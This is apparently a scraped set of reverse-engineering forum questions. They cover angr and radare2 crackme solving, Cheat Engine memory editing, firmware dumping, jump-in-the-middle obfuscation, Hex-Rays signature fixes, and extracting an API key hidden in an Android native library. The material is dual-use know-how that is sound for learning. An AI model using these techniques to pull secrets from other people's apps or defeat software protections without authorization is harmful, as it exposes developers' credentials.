+|           ; CALL XREF from 0x000011e7 (main)
+|           0x00001155      55             push rbp
+|           0x00001156      4889e5         mov rbp, rsp
+|           0x00001159      53             push rbx
+|           0x0000115a      4883ec28       sub rsp, 0x28               ; '('
+|           0x0000115e      48897dd8       mov qword [local_28h], rdi
+|           0x00001162      c745ec000000.  mov dword [local_14h], 0
+|       ,=< 0x00001169      eb19           jmp 0x1184
+|      .--> 0x0000116b      8b45ec         mov eax, dword [local_14h]
+|      :|   0x0000116e      4863d0         movsxd rdx, eax
+|      :|   0x00001171      488b45d8       mov rax, qword [local_28h]
+|      :|   0x00001175      4801d0         add rax, rdx                ; '('
+|      :|   0x00001178      0fb610         movzx edx, byte [rax]
+|      :|   0x0000117b      83c201         add edx, 1
+|      :|   0x0000117e      8810           mov byte [rax], dl
+|      :|   0x00001180      8345ec01       add dword [local_14h], 1
+|      :|   ; JMP XREF from 0x00001169 (sym.my_function)
+|      :`-> 0x00001184      8b45ec         mov eax, dword [local_14h]
+|      :    0x00001187      4863d8         movsxd rbx, eax
+|      :    0x0000118a      488b45d8       mov rax, qword [local_28h]
+|      :    0x0000118e      4889c7         mov rdi, rax
+|      :    0x00001191      e8bafeffff     call sym.imp.strlen         ; size_t strlen(const char *s)
+|      :    0x00001196      4839c3         cmp rbx, rax
+|      `==< 0x00001199      72d0           jb 0x116b
+|           0x0000119b      488b45d8       mov rax, qword [local_28h]
+|           0x0000119f      ba06000000     mov edx, 6
+|           0x000011a4      488d35590e00.  lea rsi, str.b_fsuz         ; 0x2004 ; ""b{fsuz""
+|           0x000011ab      4889c7         mov rdi, rax
+|           0x000011ae      e87dfeffff     call sym.imp.strncmp        ; int strncmp(const char *s1, const char *s2, size_t n)
+|           0x000011b3      85c0           test eax, eax
+|       ,=< 0x000011b5      7507           jne 0x11be
+|       |   0x000011b7      b801000000     mov eax, 1
+|      ,==< 0x000011bc      eb05           jmp 0x11c3
+|      |`-> 0x000011be      b800000000     mov eax, 0
+|      |    ; JMP XREF from 0x000011bc (sym.my_function)
+|      `--> 0x000011c3      4883c428       add rsp, 0x28               ; '('
+|           0x000011c7      5b             pop rbx
+|           0x000011c8      5d             pop rbp
+\           0x000011c9      c3             ret
+
+ +What i want is to ask angr: Which string should i pass in parameter to my_function in order to get a return of 1. + +Here is what i've done: + +
import angr
+
+base = 0x400000
+function_start = base + 0x00001155 # 0x0000115e
+function_target = base + 0x000011b7
+function_end = base + 0x000011be
+
+p = angr.Project(""./a.out"")
+state = p.factory.blank_state(addr=function_start)
+a = state.solver.BVS('a', 8*7)
+# state.memory.store(state.regs.rbp-0x28,a)
+state.memory.store(state.regs.rdi,a)
+
+sm = p.factory.simulation_manager(state)
+sm.explore(find=function_target, avoid=function_end)
+
+found_path = sm.found[0]
+print(found_path.state.se.any_str(a))
+
+ +It displays ""a{fsuz"" but the good answer is ""azerty"". + +What is wrong ? + +Second question: why does angr not found anything if i put 0x00001156 address as function start ? + +Thanks +" +"['assembly', 'cheat-engine']"," Title: What is this assembly code, fld qword ptr code here doing? Also, how do I store my own value?Body: I was reverse engineering a game using cheat engine and trying to trace where my health gets reduced. + +Basically the health gets stored in the stack and then pops out for displaying on the screen. After it pops out I tried to modify the memory address but that didn't work. Which means we need to modify it before it gets placed into the stack. After lots of diligent scrolling back, I came across the following code. + +
fld qword ptr[ebp-38]
+
+ +This code basically pushes my health onto the stack. However, there are a whole bunch of really odd things in this code: + +
    +
  1. This code pushes a value into the float register. It pushes my health float value (71.70) onto the Float registers. However, it is not clear from where its getting this value from. From [EBP-38]? It can't be that because that stores the value ""-2.0"".
  2. +
  3. Once the value is pushed onto the Float registers, I notice that a value has been pushed onto the first register and all other values seem to be shifted. Both of these changes happen from just 1 instruction. Please take a look at the screenshot to see what I'm talking about.
  4. +
+ +(If screenshot doesn't show big then right-click and ""open in new tab"" for a bigger size). + + +
    +
  1. Here's the really odd part. If I select this code in cheat engine then it shows the details of the operation on the right pane. There it shows that the value being moved is ""double"". However, this is supposed to be a floating point instruction. So shouldn't a float value get moved?
  2. +
  3. Another odd thing is that after the value is moved, the float register shows that all 0s have been moved. The existing value is shifted down.
  4. +
+ + + +So my question is: + +1) What does this instruction do exactly? + +2) To change this value to a custom value, can I change the source address? (wherever that is?). Assuming that that is [EBP-38] If yes, then can I use a simple move instruction for this? + +Something like mov [ebp-38], (hex value for 99 float)? +" +['arm']," Title: Firmware reverse engineeringBody: this question is a follow-up from this previous post: Flash dump binwalk blank, low entropy + +I need to reverse engineer a firmware from a very secure device. I was able to reverse engineer the PCB and create a JTAG connector, which I used to read the EPROM memory. I tried to binwalk and all other software techniques but they all failed to provide any lead to what is in the firmware. + +I then tried to open the file in IDA, and I could translate all memory blocks into Assembly instructions. Is it possible that the firmware does not reside in any operating system, but instead is only a set of Assembly instructions? + +If indeed is just a set of instructions, would binwalk point anything confirming that? + +File has 256Kb. + +This is the processor: STM32L 152CCT6 +" +"['disassembly', 'embedded', 'motorola']"," Title: Jump in the middle of an instruction Coldfire firmwareBody:
+I'm working on an embedded system Coldfire ROM. Currently, I'm trying to reverse engineering it to gain some more in-depth knowledge about its structure.
+ROM code quality seems pretty low, and I see a lot of redundancy and dead code lay around, as if the code was compiled with a very low level of optimization.
+I'm telling you that because I do not understand if this fact is somehow related to the question I'm about to pose.
+Checking the code, not infrequently, I'm stepping into jumps inside a single multi byte instruction. I'm new to this technique, so I wonder if someone can put me in the right track to understand this, that I consider a strangeness.
+Here an example of what I'm referring to: +I have a function which starts at ROM:00005474 + +
[...]
+.ROM:00005490 30 07             movew %d7,%d0
+.ROM:00005492 4a 80             tstl %d0
+.ROM:00005494 66 0c             bnes 0x0000000c :12 
+.ROM:00005496 70 00             moveq #0,%d0
+.ROM:00005498 60 00 00 a8       braw 0x000000b2
+.ROM:0000549c 4e b9 00 00 36 f8 jsr 0x000036f8  : the jump points inside here
+.ROM:000054a2 32 06             movew %d6,%d1
+.ROM:000054a4 48 c1             extl %d1
+.ROM:000054a6 20 01             movel %d1,%d0
+[...]
+
+ +In another area of the ROM, I have another function which starts at ROM:00012016 + +
[...]
+.ROM:000120c0 72 00             moveq #0,%d1
+.ROM:000120c2 12 00             moveb %d0,%d1
+.ROM:000120c4 20 3c 00 00 00 ff movel #255,%d0
+.ROM:000120ca b2 80             cmpl %d0,%d1
+.ROM:000120cc 66 00 01 92       bnew 0x00012260
+.ROM:000120d0 4e b9 00 00 54 9e jsr 0x0000549e :here the jump I do not understand
+.ROM:000120d6 72 00             moveq #0,%d1
+.ROM:000120d8 12 00             moveb %d0,%d1
+.ROM:000120da 20 3c 00 00 00 ff movel #255,%d0
+[...]
+
+ +If I try to follow the jump and begin to disassemble the function starting from the address ROM:0000549e I get a translation which leads to the following interpretation. I understand it is executable, but I do not get the big picture in this action. + +
[...]
+.ROM:0000549e 00 00 36 f8                      orib #-8,%d0
+.ROM:000054a2 32 06                            movew %d6,%d1
+.ROM:000054a4 48 c1                            extl %d1
+.ROM:000054a6 20 01                            movel %d1,%d0
+[...]
+
+ +Is there, behind this technique, some old practice I should know. Why this ROM developer should have used such a strange technique? To reduce the code size? If so, it is not fit with the rest of the code which is very redundant and has dead code in it which won't be ever executed!
+
EDIT.20190214
+At byte 0xc000 it begins a block of code extends to 0x40000 whose first function appears to be incomplete in its beginning part.
+The weirdness seems to begin from this point forward and extends to the byte 0x40000 where the second part of the firmware begins.
+In this code blocks, there are roughly 200 functions of various dimensions and the JSRs with a weird absolute address are not present in all the functions in this block.
+The functions in this block seem to interact with each other seamlessly, but they occasionally occur to present inconsistent addresses. +" +['angr']," Title: Angr - Solve for function return valueBody: I'm trying to create an angr script to solve this test program: + +
#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+int main(int argc, char *argv[])
+{
+    int value = atoi(argv[1]);
+    char* foo = ""foobar"";
+    int sum = 0;
+    for (int i = 0; i < strlen(foo); ++i)
+    {
+        sum += foo[i];
+    }
+    return (sum == value);
+}
+
+ +I'm trying to find out what value needs to be passed to the program in order for it to return True. This is turning out to be less trivial than anticipated. + +The return value is set in the basic block: + + + +As you can see, al is set if the values used in the cmp are equal. + +Most angr solutions I have seen are based on a path that is taken if a certain condition is met. Given the address of that path, it is possible to solve the constraints required to get to the address of that path. This will not work in my case. + +I have been scouring the angr examples for a way to solve a symbolic variable for a function return value, but this doesn't seem to be possible. + +I'm currently trying to use run or execute with the find or until args to say: execute until rip == <end of function> and eax == 1. + +Currently I have this: + +
import angr
+import claripy
+
+def bv_to_int(bv):
+    return claripy.backends.concrete.convert(bv).value
+
+def main():
+    p = angr.Project('angr_test')
+    arg = claripy.BVS('arg', 4*8)
+
+    st = p.factory.entry_state(args=[p.filename, arg])
+    sm = p.factory.simulation_manager(st)
+
+    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) >= 0x400708 and bv_to_int(_s.regs.al) == 1)
+
+    print(sm.found[0].solver.eval(arg, cast_to=bytes))
+
+if __name__ == ""__main__"":
+    main()
+
+ +Which is currently throwing: + +
Traceback (most recent call last):
+  File ""angr_test.py"", line 19, in <module>
+    main()
+  File ""angr_test.py"", line 14, in main
+    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) >= 0x400708 and bv_to_int(_s.regs.al) == 1)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py"", line 237, in explore
+    self.run(stash=stash, n=n, **kwargs)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py"", line 259, in run
+    self.step(stash=stash, **kwargs)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py"", line 75, in __call__
+    result = current_hook(self.func.__self__, *args, **kwargs)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py"", line 96, in step
+    return simgr.step(stash=stash, extra_stop_points=base_extra_stop_points | self._extra_stop_points, **kwargs)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py"", line 80, in __call__
+    return self.func(*args, **kwargs)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/sim_manager.py"", line 330, in step
+    goto = self.filter(state, filter_func=filter_func)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/misc/hookset.py"", line 75, in __call__
+    result = current_hook(self.func.__self__, *args, **kwargs)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py"", line 113, in filter
+    stash = self._filter_inner(state)
+  File ""/home/ben/.local/lib/python3.6/site-packages/angr/exploration_techniques/explorer.py"", line 124, in _filter_inner
+    findable = self.find(state)
+  File ""angr_test.py"", line 14, in <lambda>
+    sm.explore(find=lambda _s: bv_to_int(_s.regs.rip) >= 0x400708 and bv_to_int(_s.regs.al) == 1)
+  File ""angr_test.py"", line 5, in bv_to_int
+    return claripy.backends.concrete.convert(bv).value
+  File ""/home/ben/.local/lib/python3.6/site-packages/claripy/backends/__init__.py"", line 160, in convert
+    ""conversion on a child node"" % (self, ast.op, ast.__class__.__name__))
+claripy.errors.BackendError: <claripy.backends.backend_concrete.BackendConcrete object at 0x7f47a92c05f8> can't handle operation Extract (BV) due to a failed conversion on a child node
+
+ +Any help would be greatly appreciated. +" +"['linux', 'binary', 'ios', 'libraries', 'macos']"," Title: OTOOL alternative for linuxBody: I have a reverse engineering set up on a Mac machine. This set up does some reverse engineering on iOS applications(.ipa files). I'm migrating the setup from Mac to a linux machine. + +Currently on Mac, I'm using OTOOL on ipa binary files and using the following commands: + +
    +
  1. otool -L /iOS/binary/path
  2. +
  3. otool -lv /iOS/binary/path
  4. +
  5. otool -hv /iOS/binary/path
  6. +
+ +Now, I've to do the same operation, i.e reverse engineer the iOS applications, but now on the linux machine. AFAIK, OTOOL is not available for linux machine. + +
    +
  1. I've come across JTOOL which I think is most relevant till now. I can use it on linux, and it does something similar to OTOOL, but not exactly same. E.g. while using the -L command on JTOOL, I also need to specify architecture. However, OTOOL gives the shared libraries for all the available architectures.
  2. +
  3. I tried ldd, but I'm getting the error - ""not a dynamic executable"".
  4. +
  5. I tried objdump, but it asks for the object file.
  6. +
+ +I'm not sure which tool can I use. I to figure out the alternate tool which can do same as OTOOL. Or, if not same, then what changes do i need to make to use the alternate tool. +" +['gps']," Title: How to convert hex data to decimal degree latitude and longitude?Body: I have been trying to decode GPS coordinates (latitude and longitude) which is in HEX format, and the documentation doesn't have a clear explanation, please help me out. I'm adding some examples below. + +latitude 0x414F51 = +28.758963 dd(decimal degree) + +longitude 0x45429B = +077.627784dd(decimal degree) + +screenshot of the documentation + +official documentation +" +['hardware']," Title: How to reverse engineer an elliptical trainer?Body: I have a Schwinn 420 Elliptical Trainer (2012 model), and I want to reverse engineer it. Right now it has a big honking console that lets you increase/decrease the resistance and start a small handful of preprogrammed workout routines. The trouble is that the workout routines are very limited, and the console is bulky and annoying. I'd like to replace it with a flat board that I can rest my laptop on (not possible with it present) so I can do work while I run. I'd also like to replace the console's onboard computer with something like a Raspberry Pi to control the resistance levels. That way the sky's the limit in terms of programming custom workout routines. + +I took a look at the wiring to the console, and there is a twelve-pin cable, pictured below. + + + + +I checked the Schwinn website for service manuals; unfortunately they don't have a service manual for my particular model, plus the service manuals they do offer say nothing about the wiring (the only thing they do say is ""All wires in cable should be intact. If any are visibly crimped or cut, replace cable.""). + +I can't imagine that this is a terribly complex circuit. I believe there's only three things this cable can truly be doing: + +
    +
  1. Supplying power to the console
  2. +
  3. Increasing/decreasing resistance on command
  4. +
  5. Receiving a signal as to whether the user is running, or not
  6. +
+ +All the other functions, like showing a countdown clock, going through different workout routines, etc. would all be happening on the console and are therefore irrelevant (i.e. they can be replaced with a Pi). Because regardless of how complex a given workout routine is, at the end of the day, all it's doing is telling the machine to increase or decrease resistance. I noticed that it does automatically pause the workout when you stop moving, so it also must be getting some kind of signal to indicate whether the pedals are moving. I'm quite confident I can program a Pi to send the right signals on GPIO pins, if I know which ones to send. + +But while I have a pretty extensive knowledge of software engineering, I have next to zero knowledge of electrical engineering. So I'm not really sure where to start. I imagine I'll need to essentially ""tap"" the wires (while they're still in use by the console) with something like a multimeter or oscilloscope. But I don't really know how to do that. For example, a multimeter has both a black and red cable. So if I want to test just one of the 12 wires, do I hold the black to it? Then where would the red go? + +Can anyone here recommend any tips on how I can close my own knowledge gap here and start to figure out how to reverse engineer these 12 wires in my elliptical machine? Or better yet, has anyone here already done something like this, with exercise equipment? +" +"['disassembly', 'binary-analysis', 'android', 'binary', 'apk']"," Title: Extract a secret from an Android apk or .so fileBody:

Context

+ +As an exercise I am researching all methods of hiding a secret in an android mobile app binary... Yes I know that with more or less effort they can always be extracted with static analyses, run time introspection or with a MITM attack. + +In my research to hide the secret, the best way I found for Android is by using JNI/NDK and until now I was not able to find a way of reverse engineer it. + +
+ NOTE: I understand the high level concept of reverse engineer but I don't have any experience of doing it. +
+ +

My Attempts

+ + + +
$ strings -aw lib/x86/libnative-lib.so | grep -C 1 -irn 'the-secret-api-key-goes-here' -
+932-[^_]
+933:the-secret-api-key-goes-here
+934-cannot allocate __cxa_eh_globals
+
+ +So I find the API key in the binary because I know it, but I would like to be able to find it by searching by the variable it is associated with: + + + +
$ strings -aw lib/x86/libnative-lib.so | grep -C 1 -irn 'JNI_API_KEY' -
+$
+
+ +or + + + +
$ strings -aw lib/x86/libnative-lib.so | grep -C 1 -irn 'SECRETS_API_KEY' -
+$
+
+ +Both doesn't return any result... I tried to use also hexdump and objdump without any success!!! + +I tried also radare2 and retdec but my lack of knowledge may have not helped me in finding the API keys to. + +As a last attempt I have de-compiled the binary with MobSF and searched the smali code for the JNI_API_KEY, SECRETS_API_KEY and the-secret-api-key-goes-here without any success. + +At this point I don't want to resort to Frida or xPosed for a run-time reverse engineer technique or a MITM attack approach... + +So for now I just want to know if I can employ other binary or de-compile techniques to find the API key? + +
+ NOTE: Looking for open source tools, not commercial ones. +
+ +

The Code

+ +The code that I have used to hide the API key with JNI and NDK in the Android app is the following... + +file: native-lib.cpp + + + +
#include <jni.h>
+#include <string>
+#include ""api_key.h""
+
+extern ""C"" JNIEXPORT jstring JNICALL
+Java_com_example_secrets_MainActivity_stringFromJNI(
+        JNIEnv *env,
+        jobject /* this */) {
+
+    // To add the API_KEY to the mobile app when is compiled you need to:
+    //   * copy `api_key.h.example` to `api_key.h`
+    //   * edit the file and replace this text `place-the-api-key-here` with your desired API_KEY
+    std::string JNI_API_KEY = SECRETS_API_KEY;
+
+    return env->NewStringUTF(JNI_API_KEY.c_str());
+}
+
+ +file: api_key.h + + + +
#ifndef SECRETS_API_KEY
+#define SECRETS_API_KEY ""the-secret-api-key-goes-here""
+
+#endif / SECRETS_API_KEY
+
+ +file: CMakeLists.txt + +
# For more information about using CMake with Android Studio, read the
+# documentation: https://d.android.com/studio/projects/add-native-code.html
+
+# Sets the minimum version of CMake required to build the native library.
+
+cmake_minimum_required(VERSION 3.4.1)
+
+# Creates and names a library, sets it as either STATIC
+# orJNI_API_KEY SHARED, and provides the relative paths to its source code.
+# You can define multiple libraries, and CMake builds them for you.
+# Gradle automatically packages shared libraries with your APK.
+
+add_library( # Sets the name of the library.
+        native-lib
+
+        # Sets the library as a shared library.
+        SHARED
+
+        # Provides a relative path to your source file(s).
+        native-lib.cpp)
+
+# Searches for a specified prebuilt library and stores the path as a
+# variable. Because CMake includes system libraries in the search path by
+# default, you only need to specify the name of the public NDK library
+# you want to add. CMake verifies that the library exists before
+# completing its build.
+
+find_library( # Sets the name of the path variable.
+        log-lib
+
+        # Specifies the name of the NDK library that
+        # you want CMake to locate.
+        log)
+
+# Specifies libraries CMake should link to your target library. You
+# can link multiple libraries, such as libraries you define in this
+# build script, prebuilt third-party libraries, or system libraries.
+
+target_link_libraries( # Specifies the target library.
+        native-lib
+
+        # Links the target library to the log library
+        # included in the NDK.
+        ${log-lib})
+
+" +"['assembly', 'debugging', 'obfuscation', 'anti-debugging']"," Title: Jump in the middle trickBody: I'm reversing a program that ""hides"" some instructions using the jump in the middle trick. This trick is a jump to a middle of an instruction, whereas the real address actually contains another opcode. + +Example: + +
 CS:0100 E421           IN     AL,21
+ CS:0102 B0FF           MOV    AL,FF
+ CS:0104 EB02           JMP    0108
+ CS:0106 C606E62100     MOV    Byte Ptr [21E6],00
+ CS:010B CD20           INT    20
+
+ +So I have some questions related to this: Can this trick hide imports? hide x references to functions or strings? Are there any way to fix it? (other than stepping through the code) +Edit: I'm using x32dbg +" +"['debuggers', 'breakpoint', 'seh']"," Title: Generate software breakpoint other than int3Body: Is it possible to generate a software breakpoint other than int3 to be catched by the debugger, like a division by zero for example? + +If so, I was wondering why debuggers don't support generating different exceptions for software breakpoints? For programs that have anti-debugging mechanisms like scanning for unknown 0xCC. + +Are there any reasons for this? because all debuggers I've seen so far implement only int3 software breakpoints. +" +"['ida', 'hexrays', 'calling-conventions', 'stack-variables']"," Title: IDA Hex-Rays: How to SAFELY fix incorrect function declarations?Body: Update: + +The problem turned out to be more complex and complex because Hex-Rays incorrectly restores the stack after calls of stdcall functions from cdecl functions: + +
.text:00403F2F 074                 mov     edx, gameScreenHeight
+.text:00403F35 074                 mov     ecx, [eax]
+.text:00403F37 **074**             push    10h
+.text:00403F39 078                 push    edx
+.text:00403F3A 07C                 mov     edx, gameScreenWidth
+.text:00403F40 07C                 push    edx
+.text:00403F41 080                 push    eax
+.text:00403F42 084                 mov     eax, [ecx+54h]
+.text:00403F45 084                 call    eax
+.text:00403F47 **070**             test    eax, eax
+.text:00403F49 070                 jz      short loc_4
+
+ +As a result, a function that takes 4 arguments gets only three: + +Bad: lpDD->lpVtbl->SetDisplayMode(lpDD, gameScreenWidth, gameScreenHeight, 16, **a1**) + +Good: lpDD->lpVtbl->SetDisplayMode(lpDD, gameScreenWidth, gameScreenHeight, 16) + +As a result, the function may not use the register value, but only save and restore it, but due to the shifted pointer to the stack after the call, it is considered to be used in some problem call. This causes the entire call chain to be marked as using this register as an argument. + +Worst of all, such a problem arises in branched functions, which have several exit points and in each of them the stack is balanced (000). I can't just change the stack pointer after an erroneous call. I must also find another call and balance the changes made. x.x + +
+ +The original question: +I need to detect and safely fix incorrectly recognized function signatures. How I can do that? + +For example, this function saves game settings: + +
BOOL __thiscall sub_410640(HKEY this)
+{
+  HKEY v1; // ecx
+  HKEY v2; // ecx
+
+  sub_431C00(this, ""volumeMaster"", *(_DWORD *)&phkResult);
+  sub_431C00(*(HKEY *)&g_volumeMusic, ""volumeMusic"", *(_DWORD *)&g_volumeMusic);
+  sub_431C00(v1, ""volumeFX"", *(_DWORD *)&g_volumeFX);
+  sub_431C00(v2, ""volumeSpeech"", *(_DWORD *)&g_volumeSpeech);
+  return sub_431C00(*(HKEY *)&dword_4A262C, ""volumeMinimum"", *(_DWORD *)&dword_4A262C);
+}
+
+.text:00410640     sub_410640      proc near               ; CODE XREF: PlayVideo+50↑p
+.text:00410640                                             ; sub_416910+1A6↓p
+.text:00410640 000                 mov     eax, phkResult
+.text:00410645 000                 push    eax             ; Data
+.text:00410646 004                 push    offset ValueName ; ""volumeMaster""
+.text:0041064B 008                 call    sub_431C00
+
+.text:00410650 008                 mov     ecx, g_volumeMusic
+.text:00410656 008                 push    ecx             ; Data
+.text:00410657 00C                 push    offset aVolumemusic ; ""volumeMusic""
+.text:0041065C 010                 call    sub_431C00
+
+.text:00410661 010                 mov     edx, g_volumeFX
+.text:00410667 010                 push    edx             ; Data
+.text:00410668 014                 push    offset aVolumefx ; ""volumeFX""
+.text:0041066D 018                 call    sub_431C00
+
+.text:00410672 018                 mov     eax, g_volumeSpeech
+.text:00410677 018                 push    eax             ; Data
+.text:00410678 01C                 push    offset aVolumespeech ; ""volumeSpeech""
+.text:0041067D 020                 call    sub_431C00
+
+.text:00410682 020                 mov     ecx, dword_4A262C
+.text:00410688 020                 push    ecx             ; Data
+.text:00410689 024                 push    offset aVolumeminimum ; ""volumeMinimum""
+.text:0041068E 028                 call    sub_431C00
+
+.text:00410693 028                 add     esp, 28h
+.text:00410696 000                 retn
+.text:00410696     sub_410640      endp
+
+ +If we look at the function inside, we can see that the arguments passed through the registers are not used in any way. + +In addition, it is obvious that calls to the same function should be uniform and the transfer of such arguments does not make any sense. + +
BOOL __usercall sub_431C00@<eax>(HKEY a1@<ecx>, LPCSTR lpValueName, ...)
+{
+  LONG v3; // esi
+  HKEY phkResult; // [esp+0h] [ebp-4h]
+  va_list Data; // [esp+Ch] [ebp+8h]
+
+  va_start(Data, lpValueName);
+  phkResult = a1;
+  if ( RegOpenKeyExA(HKEY_LOCAL_MACHINE, SubKey, 0, 1u, &phkResult) )
+    return 0;
+  v3 = RegSetValueExA(phkResult, lpValueName, 0, 4u, (const BYTE *)Data, 4u);
+  RegCloseKey(phkResult);
+  return v3 == 0;
+}
+
+.text:00410600     sub_410600      proc near               ; CODE XREF: sub_4073F0+2B0↑p
+.text:00410600                                             ; WinMain(x,x,x,x)+5F4↓p ...
+.text:00410600
+.text:00410600     arg_0           = dword ptr  4
+.text:00410600
+.text:00410600 000                 mov     eax, [esp+arg_0]
+.text:00410604 000                 test    eax, eax
+.text:00410606 000                 mov     ecx, 1
+.text:0041060B 000                 mov     dword_4AE978, ecx
+.text:00410611 000                 mov     dword_4AF074, eax
+.text:00410616 000                 jz      short locret_410632
+.text:00410618 000                 mov     dword_4A267C, 69h
+.text:00410622 000                 mov     dword_4AE920, 0
+.text:0041062C 000                 mov     dword_4AF03C, ecx
+.text:00410632
+.text:00410632     locret_410632:                          ; CODE XREF: sub_410600+16↑j
+.text:00410632 000                 retn
+.text:00410632     sub_410600      endp
+
+ +And now I need to adjust the declaration of these functions so that it corresponds to reality. + +But two questions arise: + +
    +
  1. How to understand what the problem is?
  2. +
  3. How to make corrections safely so that one error in one function does not lead to unbalance of the stack and decompilation errors throughout the entire application database?
  4. +
+ +Expected result: + +
BOOL __usercall sub_431C00(LPCSTR lpValueName, _DWORD value);
+
+sub_431C00(""volumeMaster"", *(_DWORD *)&phkResult);
+sub_431C00(""volumeMusic"", *(_DWORD *)&g_volumeMusic);
+sub_431C00(""volumeFX"", *(_DWORD *)&g_volumeFX);
+sub_431C00(""volumeSpeech"", *(_DWORD *)&g_volumeSpeech);
+
+ +Link to this PE File + +Oh yeah, the funny thing is that in this case IDA correctly defines the function signature, but for some reason Hex-Rays blows the roof off: + +IDA: int __cdecl sub_431C00(LPCSTR lpValueName, BYTE Data) + +Hex-Rays: BOOL __usercall sub_431C00@<eax>(HKEY a1@<ecx>, LPCSTR lpValueName, ...) +" +"['disassembly', 'assembly', 'binary-analysis']"," Title: Calculation with not defined variables?Body: I am new to reverse engineering and try to solve a crackme with radare2. + +My problem is understanding of the following lines: + +
|           0x000007a9      c745b8000000.  mov dword [var_48h], 0
+|           0x000007b0      c745bc000000.  mov dword [var_44h], 0
+|           0x000007cd      8b45b8         mov eax, dword [var_48h]
+|           0x000007d0      4898           cdqe
+|           0x000007d2      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]
+
+ +From the bottom part of this code surrounding them: + +
|           0x0000076a      55             push rbp
+|           0x0000076b      4889e5         mov rbp, rsp
+|           0x0000076e      4883ec50       sub rsp, 0x50               
+|           0x00000772      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=0x19c0 ; '('
+|           0x0000077b      488945f8       mov qword [canary], rax
+|           0x0000077f      31c0           xor eax, eax
+|           0x00000781      c645b700       mov byte [var_49h], 0
+|           0x00000785      488d3d580100.  lea rdi, qword str.Enter_password: ; 0x8e4 ; ""Enter password:"" ; const char *s
+|           0x0000078c      e87ffeffff     call sym.imp.puts           ; int puts(const char *s)
+|           0x00000791      488d45c0       lea rax, qword [var_40h]
+|           0x00000795      4889c6         mov rsi, rax
+|           0x00000798      488d3d550100.  lea rdi, qword [0x000008f4] ; ""%s"" ; const char *format
+|           0x0000079f      b800000000     mov eax, 0
+|           0x000007a4      e897feffff     call sym.imp.__isoc99_scanf ; String! ; int scanf(const char *format)
+|           0x000007a9      c745b8000000.  mov dword [var_48h], 0
+|           0x000007b0      c745bc000000.  mov dword [var_44h], 0
+|           0x000007cd      8b45b8         mov eax, dword [var_48h]
+|           0x000007d0      4898           cdqe
+|           0x000007d2      0fb64405c0     movzx eax, byte [rbp + rax - 0x40]
+|           0x000007d7      84c0           test al, al
+
+ +I understand the output and that there is the input wanted (scanf). After that var_48h, var_44h and eax are set to 0. The next lines i don't understand at all. Beside the cdqe instruction there is some calculation(?) with the variables rbp and rax (=var_49h?). + +Maybe you can help me to understand that? + +Thank you in advance! +" +"['ida', 'idapython', 'idapro-sdk']"," Title: IDAPython modules: Prefer using idaapi or ida_*, and ignore idc completely?Body: I've recently started writing a few IDAPython plugins or scripts instead of using the native SDK, but I think I did not really figure out which module(s) are recommended to be imported. Typically, my script imports look somehow like this: + +
import ida_funcs
+import ida_kernwin
+import ida_lines
+import ida_nalt
+import ida_name
+import ida_segment
+import ida_struct
+import idaapi
+import idautils
+import idc
+from ida_bytes import *
+from PyQt5 import QtCore, QtGui, QtWidgets
+
+ +I've only just now realized that the idaapi module imports all the single modules. For example, I can define an action handler as + +
class MyHandler(ida_kernwin.action_handler_t):
+
+ +but also as + +
class MyHandler(idaapi.action_handler_t):
+
+ +So far, I was always trying to find the module the members originate from, and replace idaapi with the original module name where possible. But then I found BADADDR to originate from an ida_idaapi module, and the name feels so ridiculous, I wondered if I've been doing the right thing all along. The source and documentation on it is quite empty. + + + +Then, on the other hand, there is idc, which seems to provide IDC like functions, even with C style name casing. If I recall correctly, I read that the usage of this module is deprecated and only meant for quickly porting IDC scripts; the documentation prominently states + +
This file is subject to change without any notice.
+Future versions of IDA may use other definitions.
+
+ + +" +"['ida', 'binary-analysis', 'idapython', 'idapro-sdk', 'ida-plugin']"," Title: Argument types not identified when parsing declarationsBody: I'm trying to add a dynamic import segment in the IDA database which contains functions names, and I'm applying type information to it, so that I can obtain argument locations by using apply_callee_tinfo when I found a call to this dynamic imported function. + +While I'm testing I found that for some of the declarations, the argument or return type is not able to identify. The IDA is giving a numeric type. + + + +The code used is + +
def add_from_declaration(declarations):
+    dyn_imp_seg_loc = 0x10000
+    dyn_imp_seg_loc_end = 0x10000 + len(declarations.keys()) * 4
+    idaapi.add_segm(0, dyn_imp_seg_loc, dyn_imp_seg_loc_end, ""DYN_IMP"", ""XTRN"")
+    t_loc = dyn_imp_seg_loc
+    not_applied = []
+    for proc_name in declarations:
+        decl = str(declarations[proc_name])
+        print(decl)
+        try:
+            name, types, fields = idc.ParseType(decl, 0)
+            success = idc.MakeName(t_loc, str(proc_name))
+            t = idaapi.tinfo_t()
+            til = idaapi.til_t()
+            t.deserialize(til, types, fields)
+            if success:
+                idc.MakeDword(t_loc)
+                success = idaapi.apply_tinfo(t_loc, t, 1)
+                if not success:
+                    not_applied.append(proc_name)
+        except Exception:
+            continue
+        finally:
+            t_loc = t_loc + 4
+    return not_applied
+
+ +declarations is a dict with key as the function name and value as the declaration. +What am I doing wrong in this? + +Edit: My approach is based on the answers provided in this thread, In IDA, is there a way to add a reference to a dynamically imported function into the Imports tab?. My problem is not with adding import segment or creating cross references. But I'm unable to add type information to a name. + +As you can see from the image, I'm trying to apply declaration BOOL __stdcall ReleaseMutex(HANDLE a0); at location 0x10000 which is named ReleaseMutex, but IDA is not able to identify BOOL and HANDLE structures even after parsing the declaration successfully. +" +"['radare2', 'crackme']"," Title: Password is right, but still wrong?Body: i am trying to find the password of a binary with radare2 - a crackme again :-) + +I already thought I've found the password ('pass'), but this seems to be not the right one. Or there is a trick I didn't found out yet... + +Here is the code and my thoughts about it: + +
/ (fcn) sym.main 134
+|   int sym.main (int argc, char **argv, char **envp);
+|           ; var int var_dh @ rbp-0xd
+|           ; var int var_9h @ rbp-0x9
+|           ; var int var_8h @ rbp-0x8
